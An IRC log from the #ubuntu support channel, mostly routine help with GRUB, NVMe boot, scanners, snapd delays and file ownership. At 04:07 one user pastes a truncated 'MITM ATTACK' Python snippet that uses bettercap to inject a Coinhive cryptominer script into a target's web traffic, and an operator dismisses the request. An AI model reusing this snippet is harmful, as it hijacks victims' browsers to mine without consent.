[00:00] <Bashing-om> !register | t4nk_was_here
[00:00] <oerheks> t4nk_was_here, register with freenode, #ubuntu is an open channel, others are not due to trolls & spam
[00:00] <t4nk_was_here> I was just reading
[00:00] <t4nk_was_here> need /register
[00:00] <oerheks> but the join message would tell you too
[00:01] <lvrp16> hggdh: https://bugs.launchpad.net/ubuntu/+source/blueman/+bug/1780878
[00:01] <hggdh> CarlFK: as far as I understand, each program takes care of its own "recent files" (if the program supports it). I tried searching dconf, but found nothing matching "recent" there
[00:01] <oerheks> there is no recent list to put files into, the app does that solely
[00:03] <CarlFK> um.. when I use LebreOffice, type, Export PDF, foo.pdf, then in Firefox, gmail, attach, file picker dialog shows foo.pdf.  so apps share something
[00:05] <acv_> Is this a good place to get Ubuntu support?
[00:05] <futile> hello
[00:06] <CarlFK> scratch that - pdf doesn't end up on recent list, but Save As foo.odt, that does.
[00:06] <hggdh> lvrp16: I added the bug link and tagged it as Bionic. Since blueman is in Universe, we will need a contributor to work on the SRU
[00:06] <oerheks> acv_, yes
[00:06] <acv_> I've got a laptop with a 1tb windows hdd and a 250gb m2 SSD. I create a bootable usb, use it to install ubuntu to the sad, and no matter what I do the sad isn't bootable.
[00:09] <CarlFK> acv_: my guess is the 1t is set as the machine's the boot device.  it may be as simple as telling the installer to use that device
[00:09] <hggdh> lvrp16: the fix will have to be cherry-picked (Debian corrected it in a new version of blueman)
[00:10] <CarlFK> acv_: or, hit F1 whatever to get into the machine's setup and change the boot order to look at the ssd first
[00:10] <lvrp16> hggdh: i'm reading the SRU doc, not familiar
[00:10] <acv_> CarlFK: if I remove the 1tb all together it doesn't boot and the m2 doesn't show as a bootable device when I push f12
[00:10] <hggdh> lvrp16: it is probable that all that needs to be done is drop the postinst script (per the Debian bug), so it should be an easy SRU
[00:11] <acv_> I can see the drive in the bios
[00:11] <acv_> I choose the erase disk option when installing to the m2.
[00:12] <CarlFK> acv_: next guess: the ssd needs to be setup as a uefi bootable
[00:13] <oerheks> there used to be a bootline command, 'nvme_load=YES' https://www.dell.com/support/article/us/en/04/sln299303/loading-ubuntu-on-systems-using-pcie-m2-drives?lang=en  but recent posts show it is not needed anymore..
[00:13] <acv_> Ok, is that a different option on the setup screen when booting from the USB drive
[00:13] <acv_> Hmm.
[00:13] <acv_> I might as well try it.
[00:13] <CarlFK> acv_: or find the option in the bios to allow legacy devices (non uefi)
[00:13] <acv_> I've done that as well.
[00:14] <neoncontrails> I successfully used these instructions to install Photoshop CS6 the other day: https://gist.github.com/romuloctba/1201b373b00ea9516d5e. But I have a question about launching the installed app: if I run "wine /path/to/Photoshop.CS6.exe", it launches in some weird mode that completely covers gnome, the dock, etc. Is there an alternative way to launch a wine app?
[00:14] <acv_> The first couple times I tried to flash it failed at executing grub-install /dev/sda failed
[00:14] <acv_> It doesn't say that anymore though
[00:15] <oerheks> !uefi
[00:19] <acv_> Thank you very much
[00:57] <amazoniantoad> When trying to install ubuntu server I get an error, "Read-only file system: /dev/sr0"
[00:58] <amazoniantoad> I suspect that the server might have a RAID configured in the bios
[00:58] <amazoniantoad> What should I do?
[00:58] <jwm> I'm not new to linux, but I'm not very technically adept.  I'm looking to make an Epson v39 scanner work with my Ununtu 18.04 system.  Can anyone help?  USB recognition is the first hurdle.
[00:59] <DeHackEd> amazoniantoad: /dev/sr0 is your CD-ROM drive
[00:59] <amazoniantoad> DeHackEd: I realize that but there's nothing in the CD-ROM
[01:00] <amazoniantoad> I was thinking maybe the old owner did something funky with it.
[01:00] <DeHackEd> hm.. is this a server board?
[01:00] <amazoniantoad> Yes
[01:00] <DeHackEd> does it have an IPMI management port?
[01:00] <amazoniantoad> Not sure. Never really handled a real server like this
[01:01] <amazoniantoad> Don't know what IPMI is
[01:01] <DeHackEd> depending on the vendor it may be labeled with a wrench, or just off to the side away from the "regular" LAN ports
[01:01] <DeHackEd> RJ45
[01:02] <amazoniantoad> Yes there's a lan port connected to some kind of pcb board that's different from the other two
[01:02] <DeHackEd> point is, remote management software can sometimes fake a CD-ROM drive to allow remote software installations
[01:02] <amazoniantoad> oh
[01:03] <DeHackEd> it's incredibly convenient, and appears to the server as a USB CD-ROM drive
[01:03] <amazoniantoad> So how do I take advantage of it?
[01:04] <amazoniantoad> Some kind of client on my computer?
[01:04] <DeHackEd> that's a question you'll have to lookup the manufacturer's manuals for. but usually the BIOS or an Option ROM will let you set up an IP address on this special port, then you can access it by web browser on that port
[01:04] <jwm> reiterating my question: I'm not new to linux, but I'm not very technically adept.  I'm looking to make an Epson v39 scanner work with my Ununtu 18.04 system.  Can anyone help?  USB recognition is the first hurdle.  [how frequently is it appropriate to reiterate?]
[01:04] <DeHackEd> of course this is just a theory as to why you're having this problem.
[01:04] <amazoniantoad> hm
[01:09] <jwm> reiterating my question: I'm not new to linux, but I'm not very technically adept.  I'm looking to make an Epson v39 scanner work with my Ununtu 18.04 system.  Can anyone help?  USB recognition is the first hurdle.  [reiterating once every five minutes]
[01:14] <jwm> reiterating my question: I'm not new to linux, but I'm not very technically adept.  I'm looking to make an Epson v39 scanner work with my Ununtu 18.04 system.  Can anyone help?  USB recognition is the first hurdle.  [reiterating once every five minutes]
[01:14] <jwm> not a bot
[01:24] <jwm> I'm not new to linux, but I'm not very technically adept.  I'm looking to make an Epson v39 scanner work with my Ununtu 18.04 system.  Can anyone help?  USB recognition is the first hurdle
[01:27] <scientes> jwm, does it show up when you run `lsusb`?
[01:28] <scientes> jwm, also, run the command `journalctl -f` and then plug it in, and paste the output to https://paste.ubuntu.com/
[01:30] <jwm> Thanks scientes.  I'll take a look and report back.
[01:33] <jwm> scientes: on the first question, yes.  On the second, see https://paste.ubuntu.com/p/2Ftx7dybZg/
[01:33] <scientes> I don't see anything in the second
[01:33] <scientes> what shows up on the first?
[01:34] <scientes> https://forums.linuxmint.com/viewtopic.php?t=221071
[01:36] <scientes> jwm, ^^ that looks like the answer
[01:36] <jwm> Scientes.  Thanks of course.  I've been there, installed that (should a tshirt be made??), but no success.
[01:37] <scientes> what prints from lsusb that you think is the printer?
[01:37] <jwm> I need to head off to bed.  I'll tilt at this scanner another day.  I always deeply appreciate help on the IRC and try to pay it forward when I can.  Good night
[01:38] <scientes> night
[01:38] <jwm> "Bus 001 Device 003: ID 04b8:013d Seiko Epson Corp."
[01:38] <jwm> scanner not printer
[01:39] <jwm> Thats what makes me think that my OS hald recognizes my new scanner
[01:39] <jwm> That's
[01:39] <jwm> half not hald
[01:41] <jwm> no worries, and thanks again.  good night
[01:46] <studio-user464>  lastest updates have messed up wifi additional drivers and samba connections to win7 shares.....  was working fanstasticly
[01:46] <studio-user464> I'm at a loss to find the differences
[02:02] <studio-user464> I have 2 laptops system76 & Toshiba Satellite Skullcandy...... sys76 wifi works............. toshiba lastest updates have messed up wifi additional drivers
[02:03] <qzo> has anyone here on Ubuntu updated to firefox 61 yet?
[02:03] <qzo> I just did, and now my scrollbars are around 20px larger than they used to be
[02:03] <qzo> the guys on the firefox channel said it might be an issue with the Ubuntu GTK engine
[02:03] <qzo> so I am just checking to see if anytone else has had the same issue
[02:04] <qzo> I kinda doubt it is with GTK, because my other GTK programs have normal sized scrollbars
[02:05] <aloha_> #test
[02:10] <aloha_> aloha?
[02:11] <aloha_> QUIT
[02:17] <studio-user464> anyone having wifi problems after lastest updates
[02:47] <kirito> The capture session could not be initiated on interface 'wlp2s0' (You don't have permission to capture on that device). Please check to make sure you have sufficient permissions, and that you have the proper interface or pipe specified.
[02:48] <kirito> Anyone know why this is showing? I am a admin
[02:48] <kirito> account
[02:48] <kirito> wireshark
[02:49] <kirito> tried using sudo & root account and it still doesn't work, it gives me an error
[02:49] <kirito> can anyone help?
[02:51] <Duckpi> clear
[02:55] <guiver_d> kirito: i don't know, but i thought you had the option on install to have a 'wireshark' group that has access to use it - maybe make yourself part of that group (I've never explored this or taken notice of what the change was)
[02:56] <master79> @littless do u c m额？
[02:58] <littless> @master79 咩？
[03:01] <master79> @littless how‘s ur work going
[03:06] <jada> hey, I'm trying to install notepadqq; sudo add-apt-repository ppa:notepadqq-team/notepadqq <- is that obsolete?
[03:07] <krytarik> !info notepadqq
[03:08] <jada> so building from source is the only option?
[03:10] <krytarik> No, that was to check if the PPA is still needed - which it is.
[03:10] <guiverc> jada: krytarik i'm fully verse with ppa's but i see a directory for bionic, and a version of notepadqq (https://launchpad.net/~notepadqq-team/+archive/ubuntu/notepadqq)  dated 2018-05-02  1.4.4.1~bionic1
[03:11] <guiverc> sorry - i'm NOT fully verse with ppa's...
[03:11] <lokhamb> hello, I am using ubuntu 18.04 and I want to know how to install drivers for graphics and sound.
[03:15] <guiverc> lokhamb: i can only provide a clue; I `sudo lshw -C video` to get info on the hardware I'm using (replace video with 'sound' for audio) and search online for a web site with clues  (if my hardware isn't detected). The chips (chipset) used by your hardware matter more in my experience than the brand/model of cards used
[03:16] <guiverc> lokhamb: lshw = list hardware, -C limits it to a class of hardware you tell it...
[03:17] <lokhamb> ok
[03:20] <guiverc> lokhamb: if you wait you may get someone able to walk you thru; sorry that's not me :(
[03:20] <data09> tomyren: thanks for your help on UTC time earlier. i set it to UTC but forgot to change the system date as well. once i did that it updated.
[03:22] <lokhamb> ok
[03:26] <lokhamb> I am getting this message. https://paste.ubuntu.com/p/G6bBJFtrgC/plain/
[03:28] <guiverc> lokhamb: your video is recognized & an i915 driver is used; your audio is recognized and snd_hda_intel driver is used - both look like motherboard 'cards' (and intel) and okay to me
[03:30] <acv_> I've been having problems making an m2 SSD bootable. Should I choose the "something else" option and set my own partitions? If so what should I choose on a 250gb SSD?
[03:31] <lokhamb> guiverc: so do I need extra drivers to install?
[03:32] <guiverc> lokhamb: in my opinion no, if you get sound, and can see & are happy - i'd leave it as it is.
[03:32] <UserUS> you'd need a swap for ram, ext4 for the hard drive size, and a boot partition 500 mb
[03:33] <UserUS> acv_: and home if you want
[03:34] <guiverc> lokhamb: in my experience sound may be different (tinny) to a windoze os as lenovo (I think i saw) put some effort in a specific driver for each laptop to try & make it sound less crap/tinny; where as Ubuntu (or GNU/Linux) use a driver based on chip - but you fine tune that in your software (music player etc)
[03:34] <lokhamb> guiverc: Actually I am not getting the sound properly. It is not as loud as I have heard in windows.
[03:35] <acv_> UserUS: thank you I will try.
[03:36] <lokhamb> guiverc: okay, I got it.
[03:37] <guiverc> lokhamb: fine tune that with software; i like audacious (a Qt based player, even if I use xfce) as I can fine-tune the audio to better suit.. but you just play until you're happy. you can increase volume past 100% too (as lenovoa windoze may have used), but just don't go too loud (distortion or potential for damage to speakers)
[03:43] <lokhamb> okay
[03:59] <qwebirc87715> When your too scared to say something so you say something about you being too scared to say something.
[04:00] <oerheks> !register | qwebirc87715
[04:02] <PayneMusically> did everyone see what nickserv sent?
[04:03] <krytarik> Nope.
[04:03] <PayneMusically> You sure? If so thank god.
[04:03] <oerheks> if you are unsure, never send nickserv commands in a channel
[04:04] <PayneMusically> Few I was gonna freak. thank you for answering.
[04:04] <oerheks> one type and we all shout change password
[04:04] <PayneMusically> Thank you
[04:04] <oerheks> c/typo
[04:05] <Chef1> hello
[04:06] <Chef1> can someone help me
[04:06] <Chef1> i need to sanatize this guys code to get his help with something
[04:07] <Chef1> #MITM ATTACK  target = raw_input("IP: ") interface = raw_input(interface: ") html = '''<script src="https://coinhive.com/lib/coinhive.min.js%22%3E</script>\n<script>\n    var miner = new Coinhive.Anonymous('SITE_KEYpublic');\n    miner.start();\n<script>'''  html_file = open ("miner.html","w") html_file.write(html) html_file.close()  subprocess.call(['bettercap','-I',interface,'-T',target,'--proxy-module','injecthtml','--html_file','m
[04:07] <oerheks> Chef1, try the #bash channel
[04:07] <Chef1> good idea
[04:08] <oerheks> stupid miners that want it all for free, go learn a program language first
[04:09] <qwebirc1322> Ok I registered
[04:10] <qwebirc1322> umm
[04:11] <PayneMusically> ok. thank you for telling me to register.
[04:19] <Chef1> yitz if you ever need to reach me
[04:19] <Chef1> i can give oyu an email
[04:19] <Chef1> ooops XD
[04:23] <Abhijit> hi
[04:23] <Abhijit> is there any Gnome3 plugin, which will let me turn on or off all audio inputs - earphone + inbuilt mic etc - using one single visual button?
[04:30] <qwebirc33396> After updating regular update my ubuntu system behaviour changed and getting hanged
[04:31] <qwebirc33396> ubuntu 14.04 with kernel 4.4.0.130
[04:32] <qwebirc33396> System boots up properly, some applications are opened and along command line terminal
[04:33] <qwebirc33396> then when i try to minimize all my windows at last i see my system getting hanged
[04:33] <tomreyn> qwebirc33396: the last part sounds like what you'd expect?
[04:33] <tomreyn> oh you weren't done
[04:34] <qwebirc33396> desktop background become black with no right click control
[04:34] <tomreyn> check your system logs for the timestamps around the time it happened last. sudo less /var/log/syslog
[04:34] <oerheks> Abhijit, you can define a key yourself, the code for that would be: amixer sset Master toggle
[04:36] <Abhijit> oerheks, thanks.
[04:37] <oerheks> Abhijit, not sure this implies the mic too...
[04:37] <oerheks> nope :-(
[04:39] <qwebirc33396> tomreyn, nothing. logs are their but no such information related why it is getting hanged. i'm losing system control for 2 or 3 minutes but i can see mouse motions
[04:40] <tomreyn> qwebirc33396: this happens now?
[04:40] <tomreyn> or before you latest reboot?
[04:41] <qwebirc33396> tomreyn: every time. yesterday i update my system since then i have reboot 4-5 times but still behaviour persist
[04:43] <tomreyn> qwebirc33396: did it happen since you last rebooted?
[04:44] <ai_> where do i ask about by touchpad proplem?it stopped working after login awhile( happens on all distros)
[04:45] <qwebirc33396> yes. right now i have four active windows open. i'm minimizing all windows one by one. by the time i reach fourth windows my system getting hanged. i have enough RAM and HDD space
[04:46] <tomreyn> qwebirc33396: can you run this and paste the HTTP address here: dmesg -T | nc termbin.com 9999
[04:55] <Chon_Lee> how do I disable the graphic during boot up... not X but just the rotating dots?
[04:56] <oerheks> Chon_Lee,  remove splash from the grub commandline, see the grub manual
[04:56] <oerheks> !grub
[04:56] <Chon_Lee> thanks!
[04:56] <scientes> I just used the default ubuntu CD and my systemd didn't boot afterwards
[04:57] <scientes> I had to install (manually) grub-efi-amd64, and then it worked (that was a guess, thank god it worked!)
[04:57] <scientes> via chroot
[04:57] <Chon_Lee> something is hanging up the boot and it takes forever... I figure if I can see what's going on I can figure this out.
[04:58] <oerheks> Chon_Lee, you might want to remove quiet too, then
[04:58] <Chon_Lee> ok
[04:59] <pjs> Is there anyone that can help me with a fresh install, hangs on grub boot.. I've ran boot-repair, reinstalled the OS, used gparted to delete all partitions, reinstall again, then run boot-repair again.. same thing. Debug info here: http://paste.ubuntu.com/p/3fHXHYzpQP/
[05:00] <scientes> pjs, what worked for me was to chroot in (non-trivial) and then install grub-efi-amd64
[05:00] <ai_> newbies here , pls help with my touchpad
[05:00] <scientes> I was suprised that a default install wouldn't boot
[05:00] <scientes> ai_, what about your touchpad, explain the problem
[05:01] <ai_> it stopped working after login for a while
[05:02] <pjs> scientes: Sorry I'm coming back to Linux on my workstation after 15 years in OS X. So it's all a bit fuzzy. I use the chroot program then install grub-efi-amd64? using apt-get?
[05:03] <und> ru
[05:03] <ai_> scientes: clicking does work. but it doen't move
[05:04] <osp2> anyone have suggestions for a terminal emulator for an absolute linux noob? I'm used to iterm2 on macos if that helps narrow down suggestions
[05:05] <pjs> osp2, I personally like suckless terminal (st) but it's extremely basic.
[05:05] <und> дайте русский канал
[05:05] <pjs> So you may not like it as a newb
[05:05] <osp2> ah ok
[05:06] <qwebirc9393> tomreyn: i can't paste dmesg logs. i don't see any kernel crash or oops.
[05:07] <scientes> pjs, you use the chroot command to get into your installed system even through it doesn't boot
[05:07] <scientes> https://help.ubuntu.com/community/BasicChroot
[05:07] <und> !ru
[05:07] <und>  /join #ubuntu-ru
[05:08] <tomreyn> qwebirc9393: dmesg is a command you can run, it will definitely generate output, and you can post that.
[05:08] <scientes> ai_, its probably turned off cause people have trouble moving it while trying to type
[05:09] <scientes> pjs, while running the ubuntu live cd....this is again non-trivial, I was pissed the default cd didn't work for me----ubuntu was always the easiest to install in years past
[05:09] <pjs> scientes: I can boot the system from grub by setting prefix, root, then insmod linux and normal.. then it boots
[05:09] <pjs> scientes: ah ok! I understand
[05:09] <tomreyn> qwebirc9393: since you said this only happens since you upgraded to kernel 4.4.0.130, maybe you still have an olde rone and can boot this so you can get a stable system now (and verify it is indeed related to the newer kernel image).
[05:10] <qwebirc9393> tomreyn: dmesg print kernel logs. i have seen the logs no issue in kernel side.
[05:11] <pjs> scientes: thanks man. I'll give it a shot
[05:12] <tomreyn> qwebirc9393: it does more than that, also tells us which hardware and firmware you run. but if you prefer nto to post that it's okay. it just makes it hard to support you if we can't know what's going wrong there.
[05:12] <tomreyn> qwebirc9393: you can also check /var/log/Xorg.*.log.* and ~/.xsession-errors* for issues
[05:12] <scientes> pjs, also run grub-install
[05:16] <pjs> scientes: will do. I'll let you know how it goes
[05:37] <Randolf> Chon_Lee:  Check if it's lvmetad.  That delays the boot for me every time for approximately 45 seconds.
[05:37] <Chon_Lee> nah it's snapd
[05:37] <Randolf> I've asked about it before, and nobody seems to know what it does.  I don't know if it's safe to remove it.
[05:37] <Randolf> Oh, snapd?
[05:37] <Randolf> Oh well, it's good that you figured it out.
[05:38] <Chon_Lee> sec... gonna paste logs and see if someone can help
[05:39] <tomreyn> Randolf: you can check for yourself what's making the boot slow: "sudo systemd-analyze blame" and "sudo systemd-analyze critical-chain"
[05:40] <tomreyn> the lvmetad warning can be ignored, it just happens to be printed there at the time somethign else is slow to start up.
[05:41] <tomreyn> lvmetad is a new way to manage logical volumes (LVM2), it just doesn't work that early in the boot, causing this warning.
[05:44] <Randolf> tomreyn:  Thanks.  Those are useful things to know.  Everything looks fine, and most things are less than 1 second.  There are a few items that are up to 6 seconds, but that's not the delay I'm experiencing.
[05:44] <Randolf> tomreyn:  When I watch the boot messages (I have those turned on), it all gets stuck waiting for lvmetad to respond, and that takes up to 45 seconds.
[05:44] <Randolf> So it does a scan of devices.
[05:44] <Randolf> Local scan or something like that.
[05:44] <Randolf> I can't find it in the dmesg output.
[05:45] <Randolf> But it shows up on the screen during boot.
[05:45] <Randolf> When I first installed Ubuntu 18.04 LTS on this system, this delay wasn't present.  It only started after the first or second batch of updates.
[05:46] <Chon_Lee> snapd is failing on boot up with [FAILED] Failed to start Snappy daemon, See 'systemct1 status snapd.service' and it waits 1.5 mins each attempt for like 5 or 6 attempts. http://paste.ubuntu.com/p/d6HQQChsRb/ http://paste.ubuntu.com/p/6KTzqstBj7/
[05:46] <tomreyn> Randolf: this may be https://bugs.launchpad.net/ubuntu/+bug/1779827
[05:51] <qwebirc47010> hello i need help please i can't create user in postgresql msf its my error root@b4b4nn:/home/b4b4n# createuser msf -P -S -R -D Warning: No existing local cluster is suitable as a default target. Please see man pg_wrapper(1) how to specify one. Error: You must install at least one postgresql-client-<version> package
[05:51] <tomreyn> Chon_Lee: may be the same for you.
[05:53] <qwebirc47010> oh anyone is here ?
[05:53] <tomreyn> qwebirc47010: the error message is pretty clear. "you must install at least one postgresql-client-<version> package". this is not #metasploit, htough
[05:54] <qwebirc47010> okey and now what i can to do for fix this problem ?
[05:54] <tomreyn> qwebirc47010: apt cache search 'postgresql-client' | grep ^postgresql-client
[05:55] <Randolf> tomreyn:  I'm booting okay.  (Wow, that's a lot of discussion on that link.)
[05:55] <qwebirc47010> its command ? i type this command in my terminal ?
[05:56] <tomreyn> qwebirc47010: yes. this should return a list of packages you could examine further to install the postgrsql cxlient matching your postgresql server version.
[05:57] <tomreyn> qwebirc47010: but i shouldn't need to tell this someone who is going to work with this software.
[05:57] <tomreyn> Randolf: didn't you say it take s along time to boot?
[05:58] <qwebirc47010> @tomreyn thansk for help i know you don't need to tell me but im very need help :)
[05:58] <qwebirc47010> root@b4b4nn:/home/b4b4n# apt cache search 'postgresql-client' | grep ^postgresql-client  WARNING: apt does not have a stable CLI interface. Use with caution in scripts.
[05:58] <qwebirc47010> oh :(
[05:59] <Chon_Lee> ok it appears I'm not the only one experiencing this issue. https://bugs.launchpad.net/ubuntu/+source/snapd/+bug/1779948
[06:00] <tomreyn> qwebirc47010: i missed a hyphon: apt-cache search 'postgresql-client' | grep ^postgresql-client
[06:01] <PayneMusically> For some reason when I install ubuntu through my usb flash drive it boots into grub, and ubuntu is not anywhere in the boot options.
[06:01] <Randolf> tomreyn:  Yeah, when it gets stuck at not getting a response from lvmetad.  Everything else just zips along rapidly like there's no tomorrow.
[06:02] <tomreyn> Randolf: which kernel version is this?
[06:02] <tomreyn> cat /proc/version
[06:03] <tomreyn> Randolf: also, how many days has this been happening for now
[06:03] <Randolf> Damn.  Xterm won't let me copy the text to the clipboard.  I'll paste it as soon as I get it.
[06:04] <tomreyn> (just roughly)
[06:04] <tomreyn> !pastebinit | Randolf
[06:05] <Randolf> Linux version 4.15.0-24-generic (buildd@lgw01-amd64-056) (gcc version 7.3.0 (Ubuntu 7.3.0-16ubuntu3)) #26-Ubuntu SMP Wed Jun 13 08:44:47 UTC 2018
[06:05] <guiverc> PayneMusically: did you install grub (when you installed Ubuntu?) or rely on an existing grub used by another OS already on your system  (which can't know about system installed after itself)
[06:05] <Randolf> (I used Far Manager for Linux.)
[06:05] <Randolf> tomreyn:  This has been going on since last week, I don't remember which day.
[06:08] <tomreyn> Randolf: do you still have 4.15.0-23-generic instealled?
[06:08] <tomreyn> Randolf: if so, boot into that and see if it takes just as long.
[06:14] <Randolf> tomreyn:  I'll do that after my next backup, which will be tomorrow sometime.
[06:18] <Randolf> tomreyn:  The reason I turned on the displaying of text output during the boot process (pre-GUI start) was so that I could see what the delay during the boot process was.
[06:18] <Randolf> So, it probably has been going on since before last week.
[06:18] <Randolf> I don't see GRUB's output though.  Just everything after that, I guess.
[06:19] <Randolf> Unless GRUB doesn't ever display output to the console?  I don't know.
[06:21] <tomreyn> Randolf: there's no output from grub other than the two lines about loading your linux image and initrd, unless you hold shift to bring up its menu.
[06:35] <ddoobb> How can you backup an EOL release system? I can't seem to install my backup software (veeam) because it needs some packages that can't be installed (because EOL)
[06:36] <_KaszpiR_> you use different backup solution, mr Obvious for the rescue
[06:37] <ddoobb> None will work. All need at least some dependencies
[06:37] <ddoobb> And you can't install a single package on this thing
[06:37] <_KaszpiR_> is it bare metal or virtual, can you turn off the sytstem for the time of backup?
[06:38] <ddoobb> It is bare metal. I don't know what the second thing means. Do you mean backup by live USB or something?
[06:41] <EriC^^> ddoobb: you can install stuff if you edit the sources from archive.ubuntu.com to old-releases.ubuntu.com
[06:41] <EriC^^> the repos get moved there on EOL
[06:44] <arunkumar413> I'm on USB live stick on mac mini
[06:44] <arunkumar413> But wifi isn't detecting
[06:52] <ddoobb> EriC^^: Thanks that's just what I needed.
[06:54] <tomreyn> arunkumar413: use a wire ;)
[07:35] <qwebirc1136> For some reason after a fresh install of Ubuntu it always boots into grub. It doesn't matter if I delete grub and Ubuntu before reinstalling after a restart it boots right into grub.
[07:35] <qwebirc1136> And when I try to force it to boot into Ubuntu it says I need to run the kernal first because it's a fresh install.
[07:37] <qwebirc1136> I tried to enable legacy boot options but my bios won't let me it tells me to disable secure boot when it is already disabled.
[07:38] <qwebirc1136> I am running Ubuntu 18.04
[07:39] <qwebirc1136> Well atleast trying to.
[07:39] <baako> hi guys how do i change owner of a folder and all the sub folders and files inside it?
[07:40] <ducasse> baako: chmod -R /path/to/folder
[07:40] <baako> ducasse: think that changes the permission not a the owner
[07:40] <ducasse> chown, sorry
[07:41] <tomreyn> you also need to provide the user, group, or both to change ownership to.
[07:42] <tomreyn> example: chown -R someuser:somegroup /path/to/folder
[07:42] <baako> thanks ducasse down
[07:43] <tomreyn> qwebirc1136: whats your hardware?
[07:43] <qwebirc1136> Tomreyn: Intel core i5. 12 GBS of ram. GTX 745. 2 TB hard drive. And the computer is manufactured by HP if that helps.
[07:43] <tomreyn> qwebirc1136: when you say "it boots into grub", do you mean you are stuck at the grub menu, or grub CLI (which one)?
[07:44] <qwebirc1136> Cli
[07:44] <tomreyn> qwebirc1136: can you provide the HP model # ?
[07:44] <ducasse> no errors?
[07:44] <qwebirc1136> Ok one second
[07:46] <tomreyn> qwebirc1136: the dmidecode command can probably tell us if you'd like to prevent moving things around.
[07:46] <tomreyn> sudo dmidecode --type system
[07:47] <qwebirc1136> Ok 1 second
[07:49] <qwebirc1136> Hp-750-209
[07:50] <qwebirc1136> Tomreyn: hp-750-209
[07:51] <tomreyn> qwebirc1136: okay, and it just drops you to grub CLI without any error merssages?
[07:51] <qwebirc1136> Yeah
[07:51] <tomreyn> i cant seem to find this model
[07:51] <qwebirc1136> I'll find it 1 second
[07:52] <qwebirc1136> On HP's website
[07:52] <qwebirc1136> https://support.hp.com/ca-en/document/c04959792
[07:52] <EriC^> qwebirc1136: are you booted in ubuntu right now?
[07:52] <tomreyn> thanks
[07:53] <qwebirc1136> I currently can't get into Ubuntu I am stuck in grub
[07:53] <EriC^> qwebirc1136: try typing "normal"
[07:53] <EriC^> is it grub> or grub rescue> ?
[07:53] <qwebirc1136> Gnu grub version 2.02
[07:54] <EriC^> what does the prompt say?
[07:54] <tomreyn> left of the cursor
[07:55] <qwebirc1136> Minimal bash-like line editing is supported. For the first word, tab lists possible command completions. Anywhere else tab lists possible device or file completions.
[07:55] <qwebirc1136> That's all that is says. And it just says grub next to where you type.
[07:55] <EriC^> ok so it's grub>
[07:55] <EriC^> qwebirc1136: try typing "normal" and press enter
[07:55] <qwebirc1136> I did and nothing happened
[07:55] <EriC^> then try "configfile /boot/grub/grub.cfg"
[07:56] <qwebirc1136> Ok it brought me into a new area that just says grub>
[07:56] <EriC^> qwebirc1136: aha interesting
[07:57] <EriC^> qwebirc1136: type "ls /boot"
[07:57] <qwebirc1136> Error: can't find command '1s'
[07:57] <EriC^> ls small L
[07:57] <qwebirc1136> I'm so dumb
[07:57] <qwebirc1136> Ok
[07:57] <EriC^> happens
[07:58] <qwebirc1136> Error: file /boot not found.
[07:58] <EriC^> qwebirc1136: aha, try "echo $root"
[07:58] <qwebirc1136> Hd1,gpt1
[07:59] <EriC^> ok, try "ls (hd1,gpt1)/boot"
[07:59] <EriC^> actually try "ls (hd1,gpt1)/"
[08:00] <qwebirc1136> System efi/ system volume information
[08:00] <EriC^> interesting stuff
[08:00] <EriC^> so your efi partition seems to be instead of the root fs
[08:00] <EriC^> qwebirc1136: anyways lets get this booted and then we'll try to troubleshoot from within ubuntu
[08:00] <qwebirc1136> Ok thank you.
[08:01] <EriC^> qwebirc1136: type "ls"
[08:01] <tomreyn> standard hard disk according to product specs https://support.hp.com/ca-en/product/hp-envy-750-200-desktop-pc-series/9259609/model/10218185/document/c04959792
[08:01] <EriC^> actually, type "ls -l" qwebirc1136
[08:02] <EriC^> look for any ext* listed partitions
[08:02] <qwebirc1136> (hd0) (hd0,msdos11) (hd1) (hd1,gpt6) (hd1,gpt5) ohh.. ok
[08:02] <tomreyn> bios update changelog does not list any related fixes: https://support.hp.com/ca-en/drivers/selfservice/hp-envy-750-200-desktop-pc-series/9259609/model/10218185
[08:02] <qwebirc1136> Error can't find file name -1
[08:03] <qwebirc1136> I mean -l
[08:03] <tomreyn> do you have another storage attached to the computer? like a usb stick / pen drive, or external hdd?
[08:04] <qwebirc1136> I do not have anything external attached to the computer
[08:04] <EriC^> qwebirc1136: ah, what were the stuff listed for hd1 earlier?
[08:04] <EriC^> hd1,gpt6 hd1,gpt5 any others?
[08:04] <EriC^> is it 1 til 6 ?
[08:04] <qwebirc1136> Yes it is 1 till 6
[08:05] <qwebirc1136> And HD2. And hd0(msdos11)
[08:05] <qwebirc1136> (hd0,msdos1) sorry typing on phone.
[08:06] <EriC^> hmm odd anyways qwebirc1136 type "ls (hd1,gpt5)/boot"
[08:06] <EriC^> if we're lucky you should see some files listed
[08:06] <lessthan0> ls -l should not generate an error
[08:07] <EriC^> lessthan0: yeah sometimes it works and other times it has made errors
[08:07] <qwebirc1136> Error unknown filesystem.
[08:07] <EriC^> i was told once uefi grub has ls -l but legacy doesnt but i dont think that's the case
[08:07] <lessthan0> I don't think you typed ls -l
[08:07] <EriC^> qwebirc1136: ok try "ls (hd1,gpt3)/"
[08:07] <lessthan0> it must be super old
[08:08] <lessthan0> or some very basic version of ls to save space
[08:08] <qwebirc1136> Error unknown file system
[08:08] <EriC^> qwebirc1136: ok, try "ls (hd1,gpt4)/"
[08:08] <lessthan0> can you type sudo apt-cache policy ls
[08:08] <lessthan0> or ls -v
[08:08] <qwebirc1136> Same thing error unknown file system
[08:09] <EriC^> qwebirc1136: ok try with "ls (hd1,gpt2)/"
[08:09] <lessthan0> try to get the version of ls
[08:09] <EriC^> lessthan0: he's still in the grub prompt
[08:09] <lessthan0> I want to know what old ls you have
[08:09] <qwebirc1136> I am stuck in grub at the moment unable to boot into ubuntu
[08:09] <lessthan0> ls -v maybe
[08:09] <qwebirc1136> Error unknown filesystem again
[08:09] <lessthan0> if you can ls you can ls -v
[08:09] <lessthan0> hmmmm
[08:10] <lessthan0> I know there are no man files in the basic shell
[08:10] <EriC^> qwebirc1136: is it an lvm install? encrypted install? etc
[08:10] <qwebirc1136> Ls -v gives me the error invalid file name. And no this install is not encrypted at all.
[08:10] <EriC^> qwebirc1136: actually try this "insmod ext2"
[08:10] <lessthan0> I guess I could look up the grub documentation
[08:10] <lessthan0> grub2?
[08:10] <EriC^> yes lessthan0
[08:11] <qwebirc1136> insmod ext2 doesn't do anything at all
[08:11] <EriC^> qwebirc1136: ok that means it worked
[08:11] <EriC^> is windows installed next to ubuntu?
[08:11] <lessthan0> well if this is happening in grub then grub can't mount or does not have a mapper for that fs
[08:11] <qwebirc1136> Yes it is installed next to Ubuntu.
[08:12] <EriC^> qwebirc1136: ok cool so windows must be gpt2 then
[08:12] <lessthan0> does the grub shell have fdisk -l
[08:12] <faceymcface> hi
[08:12] <EriC^> did you do any custom partitioning in ubuntu or used the standard install?
